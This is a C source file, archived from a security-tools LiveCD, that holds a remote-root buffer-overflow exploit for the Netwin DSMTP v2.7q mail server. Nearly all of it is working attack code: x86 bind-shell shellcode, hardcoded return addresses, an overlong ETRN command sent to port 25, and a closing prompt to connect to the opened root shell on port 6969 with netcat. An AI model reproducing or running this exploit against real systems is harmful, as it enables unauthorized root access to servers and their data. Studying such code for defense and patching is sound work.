home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / dmail / dmail.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  116 lines

  1. /*
  2.   Netwin DSMTP Server v2.7q remote-root exploit
  3.   noir@gsu.linux.org.tr | noir@olympos.org
  4.  
  5.   writen just for fun : ) heh,
  6.   tested arch = x86/Linux mdk7.0
  7.   I will port this to Solaris & FreeBSD when I have time...
  8.   check http://gsu.linux.org.tr/~noir/ offsets for other Linux distros.
  9.  
  10.   greetz: moog, si_ (happy birthday!), CronoS, still, teso crew,
  11.   gsu-linux, `B, calaz, olympos secteam
  12.  
  13.   FOUND BY Eric Andry eric@wincom.net
  14. */
  15.  
  16. #include <stdio.h>
  17. #include <unistd.h>
  18. #include <string.h>
  19. #include <stdlib.h>
  20. #include <sys/socket.h>
  21. #include <sys/types.h>
  22. #include <netdb.h>
  23. #include <netinet/in.h>
  24. #include <sys/time.h>
  25.  
  26. unsigned char shellcode[]=  /* noir@olympos.org */
  27.   "\x31\xc0\x40\x40\x89\x45\xf4\x48\x89\x45\xf8\x48\x89"
  28.   "\x45\xfc\xb0\x66\x31\xdb\x43\x8d\x4d\xf4\xcd\x80\x31"
  29.   "\xdb\x43\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x1b\x39"
  30.   "\x31\xdb\x89\x5d\xf0\x89\x45\xf4\x89\xc2\x8d\x45\xec"
  31.   "\x89\x45\xf8\xc6\x45\xfc\x10\x31\xc0\xb0\x66\x31\xdb"
  32.   "\xb3\x02\x8d\x4d\xf4\xcd\x80\x89\x55\xf8\x31\xc0\x40"
  33.   "\x89\x45\xfc\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x8d\x4d"
  34.   "\xf8\xcd\x80\x89\x55\xf4\x31\xc0\x89\x45\xf8\x89\x45"
  35.   "\xf8\x89\x45\xfc\xb0\x66\x31\xdb\xb3\x05\x8d\x4d\xf4"
  36.   "\xcd\x80\x89\xc2\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xcd"
  37.   "\x80\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xb1\x01\xcd\x80"
  38.   "\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xb1\x02\xcd\x80"
  39.   /* generic shellcode execve(args[0],args,0);  aleph1 */
  40.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  41.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  42.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  43.  
  44. int resolv(char *hname, struct in_addr *addr);
  45.  
  46. #define RET_MDK70    0xbfff97ec
  47. #define RET_REDHAT60 0xaabbccdd
  48. #define RET_SLACK70  0xddccbbaa
  49. #define NOP 0x90
  50. #define ALIGN 1
  51.  
  52. int
  53. main(int argc, char *argv[])
  54. {
  55.   int fd, n;
  56.   int i, l;
  57.   unsigned char ovf[860];
  58.   char buff[200];
  59.   int offset = 0;
  60.   struct sockaddr_in servaddr;
  61.   if (argc < 2 )
  62.     {
  63.       fprintf(stderr,"%s <host> [offset]\n",argv[0]);
  64.       exit(0);
  65.     }
  66.   if(argv[2])
  67.     offset=atoi(argv[2]);
  68.   printf("Netwin DSMTP v2.7q remote-root exploit by noir\n");
  69.   if( (fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  70.     {
  71.       perror("socket");
  72.       exit(-1);
  73.     }
  74.   bzero(&servaddr, sizeof(servaddr));
  75.   servaddr.sin_family = AF_INET;
  76.   servaddr.sin_port = htons(25);
  77.   if(!resolv(argv[1], &servaddr.sin_addr))
  78.     {
  79.       herror("gethostbyname");
  80.       exit(-1);
  81.     }
  82.   if(connect(fd, (struct sockaddr *) &servaddr, sizeof(servaddr)) < 0 )
  83.     {
  84.       perror("connect");
  85.       exit(-1);
  86.     }
  87.   n = read(fd, buff, 1024);
  88.   write(STDOUT_FILENO, buff, n);
  89.   sleep(2);
  90.   fprintf(stderr, "check for portshell 6969/tcp when done\n");
  91.  
  92.   memset(ovf, NOP, sizeof(ovf));
  93.   for( i = ALIGN; i < 300; i+=4)
  94.     *(long *) &ovf[i] = RET_MDK70 + offset;
  95.  
  96.   for( i = 650, l = 0; l < strlen(shellcode) ;i++, l++)
  97.     ovf[i] = shellcode[l];
  98.  
  99.   memcpy(ovf, "ETRN ", 5);
  100.   strcpy(ovf+858,"\r\n\0");
  101.   write(fd, ovf, strlen(ovf));
  102.   fprintf(stderr,"done!\n$ nc %s 6969\n", argv[1]);
  103.   return 1;
  104. }
  105.  
  106. int
  107. resolv(char *hname, struct in_addr *addr)
  108. {
  109.   struct hostent *hp;
  110.   if ( (hp = gethostbyname(hname)) == NULL)
  111.     return 0;
  112.  
  113.   memcpy((struct in_addr *)addr, (char *)hp->h_addr, sizeof(struct in_addr));
  114.   return 1;
  115. }
  116. /*                    www.hack.co.za           [12 June 2000]*/